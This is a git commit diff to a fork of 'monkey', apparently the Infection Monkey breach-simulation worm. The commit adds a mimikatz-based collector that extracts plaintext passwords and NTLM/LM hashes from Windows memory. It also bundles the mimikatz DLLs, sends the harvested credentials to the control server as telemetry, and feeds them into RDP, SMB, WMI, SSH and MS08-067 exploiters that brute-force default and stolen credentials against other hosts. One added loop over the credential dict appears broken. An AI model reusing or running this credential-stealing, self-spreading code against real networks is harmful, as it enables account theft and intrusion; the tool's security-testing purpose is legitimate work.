forked from p15670423/monkey
Add mimikatz collector
Combine all users and passwords in config
This commit is contained in:
parent
5e04cc825c
commit
a671b55df3
|
@ -204,17 +204,13 @@ class Configuration(object):
|
||||||
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
|
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
|
||||||
ms08_067_remote_user_pass = "Password1!"
|
ms08_067_remote_user_pass = "Password1!"
|
||||||
|
|
||||||
# psexec exploiter
|
|
||||||
psexec_user = "Administrator"
|
|
||||||
psexec_passwords = ["Password1!", "1234", "password", "12345678"]
|
|
||||||
|
|
||||||
# ssh exploiter
|
|
||||||
ssh_users = ["root", 'user']
|
|
||||||
ssh_passwords = ["Password1!", "1234", "password", "12345678"]
|
|
||||||
|
|
||||||
# rdp exploiter
|
# rdp exploiter
|
||||||
rdp_use_vbs_download = True
|
rdp_use_vbs_download = True
|
||||||
|
|
||||||
|
# User and password dictionaries for exploits.
|
||||||
|
exploit_user_list = ['Administrator', 'root', 'user']
|
||||||
|
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
||||||
|
|
||||||
# smb/wmi exploiter
|
# smb/wmi exploiter
|
||||||
smb_download_timeout = 300 # timeout in seconds
|
smb_download_timeout = 300 # timeout in seconds
|
||||||
smb_service_name = "InfectionMonkey"
|
smb_service_name = "InfectionMonkey"
|
||||||
|
@ -223,4 +219,10 @@ class Configuration(object):
|
||||||
collect_system_info = True
|
collect_system_info = True
|
||||||
|
|
||||||
|
|
||||||
|
###########################
|
||||||
|
# systeminfo config
|
||||||
|
###########################
|
||||||
|
|
||||||
|
mimikatz_dll_name = "mk.dll"
|
||||||
|
|
||||||
WormConfiguration = Configuration()
|
WormConfiguration = Configuration()
|
||||||
|
|
|
@ -280,27 +280,27 @@ class RdpExploiter(HostExploiter):
|
||||||
'monkey_path': self._config.dropper_target_path,
|
'monkey_path': self._config.dropper_target_path,
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
passwords = list(self._config.psexec_passwords[:])
|
config_users = self._config.exploit_user_list
|
||||||
known_password = host.get_credentials(self._config.psexec_user)
|
config_passwords = self._config.exploit_password_list
|
||||||
if known_password is not None:
|
user_password_pairs = []
|
||||||
if known_password in passwords:
|
for user in config_users:
|
||||||
passwords.remove(known_password)
|
for password in config_passwords:
|
||||||
passwords.insert(0, known_password)
|
user_password_pairs.append((user, password))
|
||||||
|
|
||||||
if not g_reactor.is_alive():
|
if not g_reactor.is_alive():
|
||||||
g_reactor.daemon = True
|
g_reactor.daemon = True
|
||||||
g_reactor.start()
|
g_reactor.start()
|
||||||
|
|
||||||
exploited = False
|
exploited = False
|
||||||
for password in passwords:
|
for user, password in user_password_pairs:
|
||||||
try:
|
try:
|
||||||
# run command using rdp.
|
# run command using rdp.
|
||||||
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
|
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
|
||||||
host, self._config.psexec_user, password)
|
host, user, password)
|
||||||
|
|
||||||
LOG.info("RDP connected to %r", host)
|
LOG.info("RDP connected to %r", host)
|
||||||
|
|
||||||
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
|
client_factory = CMDClientFactory(user, password, "", command)
|
||||||
|
|
||||||
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
|
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
|
||||||
|
|
||||||
|
@ -308,16 +308,16 @@ class RdpExploiter(HostExploiter):
|
||||||
|
|
||||||
if client_factory.success:
|
if client_factory.success:
|
||||||
exploited = True
|
exploited = True
|
||||||
host.learn_credentials(self._config.psexec_user, password)
|
host.learn_credentials(user, password)
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# failed exploiting with this user/pass
|
# failed exploiting with this user/pass
|
||||||
report_failed_login(self, host, self._config.psexec_user, password)
|
report_failed_login(self, host, user, password)
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception, exc:
|
||||||
LOG.debug("Error logging into victim %r with user"
|
LOG.debug("Error logging into victim %r with user"
|
||||||
" %s and password '%s': (%s)", host,
|
" %s and password '%s': (%s)", host,
|
||||||
self._config.psexec_user, password, exc)
|
user, password, exc)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
|
|
@ -64,19 +64,19 @@ class SmbExploiter(HostExploiter):
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
passwords = list(self._config.psexec_passwords[:])
|
config_users = self._config.exploit_user_list
|
||||||
known_password = host.get_credentials(self._config.psexec_user)
|
config_passwords = self._config.exploit_password_list
|
||||||
if known_password is not None:
|
user_password_pairs = []
|
||||||
if known_password in passwords:
|
for user in config_users:
|
||||||
passwords.remove(known_password)
|
for password in config_passwords:
|
||||||
passwords.insert(0, known_password)
|
user_password_pairs.append((user, password))
|
||||||
|
|
||||||
exploited = False
|
exploited = False
|
||||||
for password in passwords:
|
for user, password in user_password_pairs:
|
||||||
try:
|
try:
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
self._config.psexec_user,
|
user,
|
||||||
password,
|
password,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path,
|
||||||
|
@ -84,18 +84,18 @@ class SmbExploiter(HostExploiter):
|
||||||
|
|
||||||
if remote_full_path is not None:
|
if remote_full_path is not None:
|
||||||
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
|
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
|
||||||
host, self._config.psexec_user, password)
|
host, user, password)
|
||||||
host.learn_credentials(self._config.psexec_user, password)
|
host.learn_credentials(user, password)
|
||||||
exploited = True
|
exploited = True
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# failed exploiting with this user/pass
|
# failed exploiting with this user/pass
|
||||||
report_failed_login(self, host, self._config.psexec_user, password)
|
report_failed_login(self, host, user, password)
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception, exc:
|
||||||
LOG.debug("Exception when trying to copy file using SMB to %r with user"
|
LOG.debug("Exception when trying to copy file using SMB to %r with user"
|
||||||
" %s and password '%s': (%s)", host,
|
" %s and password '%s': (%s)", host,
|
||||||
self._config.psexec_user, password, exc)
|
user, password, exc)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if not exploited:
|
if not exploited:
|
||||||
|
@ -118,7 +118,7 @@ class SmbExploiter(HostExploiter):
|
||||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||||
if hasattr(rpctransport, 'set_credentials'):
|
if hasattr(rpctransport, 'set_credentials'):
|
||||||
# This method exists only for selected protocol sequences.
|
# This method exists only for selected protocol sequences.
|
||||||
rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr,
|
rpctransport.set_credentials(user, password, host.ip_addr,
|
||||||
"", "", None)
|
"", "", None)
|
||||||
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
||||||
|
|
||||||
|
|
|
@ -44,8 +44,8 @@ class SSHExploiter(HostExploiter):
|
||||||
LOG.info("SSH port is closed on %r, skipping", host)
|
LOG.info("SSH port is closed on %r, skipping", host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
passwords = list(self._config.ssh_passwords[:])
|
passwords = list(self._config.exploit_password_list[:])
|
||||||
users = list(self._config.ssh_users)
|
users = list(self._config.exploit_user_list)
|
||||||
known_passwords = [host.get_credentials(x) for x in users]
|
known_passwords = [host.get_credentials(x) for x in users]
|
||||||
if len(known_passwords) > 0:
|
if len(known_passwords) > 0:
|
||||||
for known_pass in known_passwords:
|
for known_pass in known_passwords:
|
||||||
|
|
|
@ -235,7 +235,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
# try other passwords for administrator
|
# try other passwords for administrator
|
||||||
for password in self._config.psexec_passwords:
|
for password in self._config.exploit_password_list:
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
"Administrator",
|
"Administrator",
|
||||||
password,
|
password,
|
||||||
|
|
|
@ -29,14 +29,14 @@ class WmiExploiter(HostExploiter):
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
passwords = list(self._config.psexec_passwords[:])
|
config_users = self._config.exploit_user_list
|
||||||
known_password = host.get_credentials(self._config.psexec_user)
|
config_passwords = self._config.exploit_password_list
|
||||||
if known_password is not None:
|
user_password_pairs = []
|
||||||
if known_password in passwords:
|
for user in config_users:
|
||||||
passwords.remove(known_password)
|
for password in config_passwords:
|
||||||
passwords.insert(0, known_password)
|
user_password_pairs.append((user, password))
|
||||||
|
|
||||||
for password in passwords:
|
for user, password in user_password_pairs:
|
||||||
LOG.debug("Attempting to connect %r using WMI with password '%s'",
|
LOG.debug("Attempting to connect %r using WMI with password '%s'",
|
||||||
host, password)
|
host, password)
|
||||||
|
|
||||||
|
@ -44,27 +44,27 @@ class WmiExploiter(HostExploiter):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
wmi_connection.connect(host,
|
wmi_connection.connect(host,
|
||||||
self._config.psexec_user,
|
user,
|
||||||
password)
|
password)
|
||||||
except AccessDeniedException:
|
except AccessDeniedException:
|
||||||
LOG.debug("Failed connecting to %r using WMI with password '%s'",
|
LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
|
||||||
host, password)
|
host, user, password)
|
||||||
continue
|
continue
|
||||||
except DCERPCException, exc:
|
except DCERPCException, exc:
|
||||||
report_failed_login(self, host, self._config.psexec_user, password)
|
report_failed_login(self, host, user, password)
|
||||||
LOG.debug("Failed connecting to %r using WMI with password '%s'",
|
LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
|
||||||
host, password)
|
host, user, password)
|
||||||
continue
|
continue
|
||||||
except socket.error, exc:
|
except socket.error, exc:
|
||||||
LOG.debug("Network error in WMI connection to %r with password '%s' (%s)",
|
LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
|
||||||
host, password, exc)
|
host, user, password, exc)
|
||||||
return False
|
return False
|
||||||
except Exception, exc:
|
except Exception, exc:
|
||||||
LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s",
|
LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
|
||||||
host, password, exc, traceback.format_exc())
|
host, user, password, exc, traceback.format_exc())
|
||||||
return False
|
return False
|
||||||
|
|
||||||
host.learn_credentials(self._config.psexec_user, password)
|
host.learn_credentials(user, password)
|
||||||
|
|
||||||
# query process list and check if monkey already running on victim
|
# query process list and check if monkey already running on victim
|
||||||
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
|
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
|
||||||
|
@ -78,7 +78,7 @@ class WmiExploiter(HostExploiter):
|
||||||
|
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
self._config.psexec_user,
|
user,
|
||||||
password,
|
password,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path,
|
||||||
|
|
|
@ -88,10 +88,14 @@ class ChaosMonkey(object):
|
||||||
LOG.debug("default server: %s" % self._default_server)
|
LOG.debug("default server: %s" % self._default_server)
|
||||||
ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https'))
|
ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https'))
|
||||||
|
|
||||||
|
additional_creds = {}
|
||||||
|
|
||||||
if WormConfiguration.collect_system_info:
|
if WormConfiguration.collect_system_info:
|
||||||
LOG.debug("Calling system info collection")
|
LOG.debug("Calling system info collection")
|
||||||
system_info_collector = SystemInfoCollector()
|
system_info_collector = SystemInfoCollector()
|
||||||
system_info = system_info_collector.get_info()
|
system_info = system_info_collector.get_info()
|
||||||
|
if system_info.has_key('credentials'):
|
||||||
|
additional_creds = system_info['credentials']
|
||||||
ControlClient.send_telemetry("system_info_collection", system_info)
|
ControlClient.send_telemetry("system_info_collection", system_info)
|
||||||
|
|
||||||
if 0 == WormConfiguration.depth:
|
if 0 == WormConfiguration.depth:
|
||||||
|
@ -101,10 +105,26 @@ class ChaosMonkey(object):
|
||||||
else:
|
else:
|
||||||
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
|
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
for _ in xrange(WormConfiguration.max_iterations):
|
for _ in xrange(WormConfiguration.max_iterations):
|
||||||
ControlClient.keepalive()
|
ControlClient.keepalive()
|
||||||
ControlClient.load_control_config()
|
ControlClient.load_control_config()
|
||||||
|
|
||||||
|
# TODO: this is temporary until we change server to support changing of config.
|
||||||
|
for user in list(additional_creds):
|
||||||
|
if user not in WormConfiguration.exploit_user_list:
|
||||||
|
WormConfiguration.exploit_user_list.append(user)
|
||||||
|
|
||||||
|
for user, creds in additional_creds:
|
||||||
|
if creds.has_key('password'):
|
||||||
|
password = creds['password']
|
||||||
|
if password not in WormConfiguration.exploit_password_list:
|
||||||
|
WormConfiguration.exploit_password_list.append(password)
|
||||||
|
|
||||||
|
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
|
||||||
|
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
|
||||||
|
|
||||||
self._network.initialize()
|
self._network.initialize()
|
||||||
|
|
||||||
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
|
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
|
||||||
|
|
|
@ -9,11 +9,15 @@ a = Analysis(['main.py'],
|
||||||
|
|
||||||
if platform.system().find("Windows")>= 0:
|
if platform.system().find("Windows")>= 0:
|
||||||
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
||||||
|
if platform.architecture()[0] == "32bit":
|
||||||
|
a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
|
||||||
|
else:
|
||||||
|
a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
|
||||||
|
|
||||||
pyz = PYZ(a.pure)
|
pyz = PYZ(a.pure)
|
||||||
exe = EXE(pyz,
|
exe = EXE(pyz,
|
||||||
a.scripts,
|
a.scripts,
|
||||||
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\system32\msvcr100.dll', 'BINARY')],
|
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')],
|
||||||
a.zipfiles,
|
a.zipfiles,
|
||||||
a.datas,
|
a.datas,
|
||||||
name='monkey.exe',
|
name='monkey.exe',
|
||||||
|
|
|
@ -0,0 +1,78 @@
|
||||||
|
import ctypes
|
||||||
|
import binascii
|
||||||
|
import logging
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
class MimikatzCollector:
|
||||||
|
"""
|
||||||
|
Password collection module for Windows using Mimikatz.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
try:
|
||||||
|
self._isInit = False
|
||||||
|
self._config = __import__('config').WormConfiguration
|
||||||
|
self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
|
||||||
|
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
||||||
|
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
||||||
|
self._collect = collect_proto(("collect", self._dll))
|
||||||
|
self._get = get_proto(("get", self._dll))
|
||||||
|
self._isInit = True
|
||||||
|
except StandardError as ex:
|
||||||
|
LOG.exception("Error initializing mimikatz collector")
|
||||||
|
|
||||||
|
def get_logon_info(self):
|
||||||
|
"""
|
||||||
|
Gets the logon info from mimikatz.
|
||||||
|
Returns a dictionary of users with their known credentials.
|
||||||
|
"""
|
||||||
|
|
||||||
|
if not self._isInit:
|
||||||
|
return {}
|
||||||
|
|
||||||
|
try:
|
||||||
|
entry_count = self._collect()
|
||||||
|
|
||||||
|
logon_data_dictionary = {}
|
||||||
|
|
||||||
|
for i in range(entry_count):
|
||||||
|
entry = self._get()
|
||||||
|
username = entry.username
|
||||||
|
password = entry.password
|
||||||
|
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
|
||||||
|
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
|
||||||
|
has_password = (0 != len(password))
|
||||||
|
has_lm = ("00000000000000000000000000000000" != lm_hash)
|
||||||
|
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
|
||||||
|
|
||||||
|
if not logon_data_dictionary.has_key(username):
|
||||||
|
logon_data_dictionary[username] = {}
|
||||||
|
if has_password:
|
||||||
|
logon_data_dictionary[username]["password"] = password
|
||||||
|
if has_lm:
|
||||||
|
logon_data_dictionary[username]["lm_hash"] = lm_hash
|
||||||
|
if has_ntlm:
|
||||||
|
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
|
||||||
|
|
||||||
|
return logon_data_dictionary
|
||||||
|
except StandardError as ex:
|
||||||
|
LOG.exception("Error getting logon info")
|
||||||
|
return {}
|
||||||
|
|
||||||
|
class LogonData(ctypes.Structure):
|
||||||
|
"""
|
||||||
|
Logon data structure returned from mimikatz.
|
||||||
|
"""
|
||||||
|
_fields_ = \
|
||||||
|
[
|
||||||
|
("username", ctypes.c_wchar * 257),
|
||||||
|
("password", ctypes.c_wchar * 257),
|
||||||
|
("lm_hash", ctypes.c_byte * 16),
|
||||||
|
("ntlm_hash", ctypes.c_byte * 16)
|
||||||
|
]
|
|
@ -1,5 +1,5 @@
|
||||||
from . import InfoCollector
|
from . import InfoCollector
|
||||||
|
from mimikatz_collector import MimikatzCollector
|
||||||
__author__ = 'uri'
|
__author__ = 'uri'
|
||||||
|
|
||||||
|
|
||||||
|
@ -14,4 +14,6 @@ class WindowsInfoCollector(InfoCollector):
|
||||||
def get_info(self):
|
def get_info(self):
|
||||||
self.get_hostname()
|
self.get_hostname()
|
||||||
self.get_process_list()
|
self.get_process_list()
|
||||||
|
mimikatz_collector = MimikatzCollector()
|
||||||
|
self.info["credentials"] = mimikatz_collector.get_logon_info()
|
||||||
return self.info
|
return self.info
|
||||||
|
|
Loading…
Reference in New Issue